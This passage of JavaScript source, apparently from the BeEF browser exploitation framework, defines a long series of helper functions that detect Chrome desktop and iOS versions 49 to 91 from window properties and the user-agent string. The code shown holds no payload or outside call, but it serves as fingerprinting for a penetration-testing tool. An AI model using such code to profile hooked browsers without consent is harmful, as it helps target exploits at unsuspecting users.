@example: beef.browser.isC49()\n     */\n    isC49: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 49) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 49.\n     * @example: beef.browser.isC49iOS()\n     */\n    isC49iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 49) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 50.\n     * @example: beef.browser.isC50()\n     */\n    isC50: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 50) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 50.\n     * @example: beef.browser.isC50iOS()\n     */\n    isC50iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 50) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 51.\n     * @example: beef.browser.isC51()\n     */\n    isC51: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 51) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 51.\n     * @example: beef.browser.isC51iOS()\n     */\n    isC51iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 51) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 52.\n     * @example: beef.browser.isC52()\n     */\n    isC52: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 52) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 52.\n     * @example: beef.browser.isC52iOS()\n     */\n    isC52iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 52) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 53.\n     * @example: beef.browser.isC53()\n     */\n    isC53: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 53) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 53.\n     * @example: beef.browser.isC53iOS()\n     */\n    isC53iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 53) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 54.\n     * @example: beef.browser.isC54()\n     */\n    isC54: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 54) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 54.\n     * @example: beef.browser.isC54iOS()\n     */\n    isC54iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 54) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 55.\n     * @example: beef.browser.isC55()\n     */\n    isC55: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 55) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 55.\n     * @example: beef.browser.isC55iOS()\n     */\n    isC55iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 55) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 56.\n     * @example: beef.browser.isC56()\n     */\n    isC56: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 56) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 56.\n     * @example: beef.browser.isC56iOS()\n     */\n    isC56iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 56) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 57.\n     * @example: beef.browser.isC57()\n     */\n    isC57: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 57) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 57.\n     * @example: beef.browser.isC57iOS()\n     */\n    isC57iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 57) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 58.\n     * @example: beef.browser.isC58()\n     */\n    isC58: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 58) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 58.\n     * @example: beef.browser.isC58iOS()\n     */\n    isC58iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 58) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 59.\n     * @example: beef.browser.isC59()\n     */\n    isC59: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 59) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 59.\n     * @example: beef.browser.isC59iOS()\n     */\n    isC59iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 59) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 60.\n     * @example: beef.browser.isC60()\n     */\n    isC60: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 60) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 60.\n     * @example: beef.browser.isC60iOS()\n     */\n    isC60iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 60) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 61.\n     * @example: beef.browser.isC61()\n     */\n    isC61: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 61) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 61.\n     * @example: beef.browser.isC61iOS()\n     */\n    isC61iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 61) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 62.\n     * @example: beef.browser.isC62()\n     */\n    isC62: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 62) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 62.\n     * @example: beef.browser.isC62iOS()\n     */\n    isC62iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 62) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 63.\n     * @example: beef.browser.isC63()\n     */\n    isC63: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 63) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 63.\n     * @example: beef.browser.isC63iOS()\n     */\n    isC63iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 63) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 64.\n     * @example: beef.browser.isC64()\n     */\n    isC64: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 64) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 64.\n     * @example: beef.browser.isC64iOS()\n     */\n    isC64iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 64) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 65.\n     * @example: beef.browser.isC65()\n     */\n    isC65: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 65) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 65.\n     * @example: beef.browser.isC65iOS()\n     */\n    isC65iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 65) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 66.\n     * @example: beef.browser.isC66()\n     */\n    isC66: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 66) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 66.\n     * @example: beef.browser.isC66iOS()\n     */\n    isC66iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 66) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 67.\n     * @example: beef.browser.isC67()\n     */\n    isC67: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 67) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 67.\n     * @example: beef.browser.isC67iOS()\n     */\n    isC67iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 67) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 68.\n     * @example: beef.browser.isC68()\n     */\n    isC68: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 68) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 68.\n     * @example: beef.browser.isC68iOS()\n     */\n    isC68iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 68) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 69.\n     * @example: beef.browser.isC69()\n     */\n    isC69: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 69) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 69.\n     * @example: beef.browser.isC69iOS()\n     */\n    isC69iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 69) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 70.\n     * @example: beef.browser.isC70()\n     */\n    isC70: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 70) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 70.\n     * @example: beef.browser.isC70iOS()\n     */\n    isC70iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 70) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 71.\n     * @example: beef.browser.isC71()\n     */\n    isC71: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 71) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 71.\n     * @example: beef.browser.isC71iOS()\n     */\n    isC71iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 71) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 72.\n     * @example: beef.browser.isC72()\n     */\n    isC72: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 72) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 72.\n     * @example: beef.browser.isC72iOS()\n     */\n    isC72iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 72) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 73.\n     * @example: beef.browser.isC73()\n     */\n    isC73: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 73) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 73.\n     * @example: beef.browser.isC73iOS()\n     */\n    isC73iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 73) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 74.\n     * @example: beef.browser.isC74()\n     */\n    isC74: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 74) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 74.\n     * @example: beef.browser.isC74iOS()\n     */\n    isC74iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 74) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 75.\n     * @example: beef.browser.isC75()\n     */\n    isC75: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 75) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 75.\n     * @example: beef.browser.isC75iOS()\n     */\n    isC75iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 75) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 76.\n     * @example: beef.browser.isC76()\n     */\n    isC76: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 76) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 76.\n     * @example: beef.browser.isC76iOS()\n     */\n    isC76iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 76) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 77.\n     * @example: beef.browser.isC77()\n     */\n    isC77: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 77) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 77.\n     * @example: beef.browser.isC77iOS()\n     */\n    isC77iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 77) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 78.\n     * @example: beef.browser.isC78()\n     */\n    isC78: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 78) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 78.\n     * @example: beef.browser.isC78iOS()\n     */\n    isC78iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 78) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 79.\n     * @example: beef.browser.isC79()\n     */\n    isC79: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 79) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 79.\n     * @example: beef.browser.isC79iOS()\n     */\n    isC79iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 79) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 80.\n     * @example: beef.browser.isC80()\n     */\n    isC80: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 80) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 80.\n     * @example: beef.browser.isC80iOS()\n     */\n    isC80iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 80) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 81.\n     * @example: beef.browser.isC81()\n     */\n    isC81: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 81) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 81.\n     * @example: beef.browser.isC81iOS()\n     */\n    isC81iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 81) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 82.\n     * @example: beef.browser.isC82()\n     */\n    isC82: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 82) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 82.\n     * @example: beef.browser.isC82iOS()\n     */\n    isC82iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 82) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 83.\n     * @example: beef.browser.isC83()\n     */\n    isC83: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 83) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 83.\n     * @example: beef.browser.isC83iOS()\n     */\n    isC83iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 83) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 84.\n     * @example: beef.browser.isC84()\n     */\n    isC84: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 84) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 84.\n     * @example: beef.browser.isC84iOS()\n     */\n    isC84iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 84) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 85.\n     * @example: beef.browser.isC85()\n     */\n    isC85: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 85) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 85.\n     * @example: beef.browser.isC85iOS()\n     */\n    isC85iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 85) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 86.\n     * @example: beef.browser.isC86()\n     */\n    isC86: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 86) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 86.\n     * @example: beef.browser.isC86iOS()\n     */\n    isC86iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 86) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 87.\n     * @example: beef.browser.isC87()\n     */\n    isC87: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 87) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 87.\n     * @example: beef.browser.isC87iOS()\n     */\n    isC87iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 87) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 88.\n     * @example: beef.browser.isC88()\n     */\n    isC88: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 88) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 88.\n     * @example: beef.browser.isC88iOS()\n     */\n    isC88iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 88) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 89.\n     * @example: beef.browser.isC89()\n     */\n    isC89: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 89) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 89.\n     * @example: beef.browser.isC89iOS()\n     */\n    isC89iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 89) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 90.\n     * @example: beef.browser.isC90()\n     */\n    isC90: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 90) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 90.\n     * @example: beef.browser.isC90iOS()\n     */\n    isC90iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 90) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 91.\n     * @example: beef.browser.isC91()\n     */\n    isC91: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 91) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 91.\n     * @example: beef.browser.isC91iOS()\n     */\n    isC91iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && 